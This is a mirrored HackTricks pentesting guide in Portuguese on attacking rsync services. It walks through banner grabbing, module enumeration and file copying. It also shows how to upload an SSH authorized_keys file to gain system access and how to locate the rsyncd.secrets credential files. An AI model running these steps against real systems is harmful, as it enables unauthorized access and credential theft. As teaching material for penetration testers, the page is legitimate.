mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-08 11:18:52 +00:00
104 lines
7.9 KiB
Markdown
104 lines
7.9 KiB
Markdown
# 873 - Pentesting Rsync
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## **Informações Básicas**
|
|
|
|
> **rsync** é uma ferramenta para [transferir](https://en.wikipedia.org/wiki/File\_transfer) e [sincronizar](https://en.wikipedia.org/wiki/File\_synchronization) [arquivos](https://en.wikipedia.org/wiki/Computer\_file) de forma eficiente entre um computador e um disco rígido externo e entre [computadores em rede](https://en.wikipedia.org/wiki/Computer\_network), comparando os [tempos de modificação](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) e tamanhos dos arquivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) É comumente encontrado em [sistemas operacionais do tipo Unix](https://en.wikipedia.org/wiki/Unix-like). O algoritmo rsync é um tipo de [codificação delta](https://en.wikipedia.org/wiki/Delta\_encoding) e é utilizado para minimizar o uso da rede. [Zlib](https://en.wikipedia.org/wiki/Zlib) pode ser usado para compressão de [dados](https://en.wikipedia.org/wiki/Data\_compression) adicional,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) podem ser usados para segurança.
|
|
|
|
De [wikipedia](https://en.wikipedia.org/wiki/Rsync).
|
|
|
|
**Porta padrão:** 873
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
873/tcp open rsync syn-ack
|
|
```
|
|
## Enumeração
|
|
|
|
### Banner & Comunicação Manual
|
|
```bash
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
|
@RSYNCD: 31.0 <--- Then you send the same info
|
|
#list <--- Then you ask the sever to list
|
|
raidroot <--- The server starts enumerating
|
|
USBCopy
|
|
NAS_Public
|
|
_NAS_Recycle_TOSRAID <--- Enumeration finished
|
|
@RSYNCD: EXIT <--- Sever closes the connection
|
|
|
|
|
|
#Now lets try to enumerate "raidroot"
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0
|
|
@RSYNCD: 31.0
|
|
raidroot
|
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
|
```
|
|
### **Enumerar pastas compartilhadas**
|
|
|
|
**Um módulo rsync é essencialmente um compartilhamento de diretório**. Esses módulos **podem opcionalmente ser protegidos por uma senha**. Esta opção lista os módulos disponíveis e, opcionalmente, determina se o módulo requer uma senha para acesso:
|
|
```bash
|
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/rsync/modules_list
|
|
|
|
#Example using IPv6 and a different port
|
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
|
```
|
|
Perceba que pode ser configurado um nome compartilhado para não ser listado. Assim, pode haver algo **oculto**.
|
|
Perceba que podem haver alguns **nomes compartilhados** listados onde você precisa de algumas (diferentes) **credenciais** para acessar. Então, nem sempre todos os nomes listados vão ser acessíveis e você perceberá isso se receber uma mensagem de _**"Acesso Negado"**_ ao tentar acessar alguns deles.
|
|
|
|
### [**Força Bruta**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
|
|
|
### Rsync Manual
|
|
|
|
Uma vez que você tem a **lista de módulos**, você tem algumas opções diferentes dependendo das ações que deseja realizar e se a autenticação é ou não necessária. **Se a autenticação não for necessária**, você pode **listar** uma pasta compartilhada:
|
|
```bash
|
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
|
```
|
|
E **copie** todos os **arquivos** para sua máquina local através do seguinte comando:
|
|
```bash
|
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
Esta **transfere recursivamente todos os arquivos do diretório** `<shared_name>` na máquina `<IP>` para o diretório `./rsync_shared` na máquina local. Os arquivos são transferidos no modo "arquivo", o que garante que links simbólicos, dispositivos, atributos, permissões, propriedades, etc. sejam preservados na transferência.
|
|
|
|
Se você **possui credenciais**, pode **listar/baixar** um **nome compartilhado** usando (a senha será solicitada):
|
|
```bash
|
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
Você também pode **fazer upload** de algum **conteúdo** usando rsync (por exemplo, neste caso, podemos fazer upload de um arquivo _**authorized\_keys**_ para obter acesso ao sistema):
|
|
```bash
|
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
|
```
|
|
## POST
|
|
|
|
Encontre o arquivo de configuração rsyncd:
|
|
```bash
|
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
|
```
|
|
Dentro do arquivo de configuração, às vezes você pode encontrar o parâmetro _secrets file = /path/to/file_ e este arquivo pode conter nomes de usuário e senhas permitidos para autenticar no rsyncd.
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|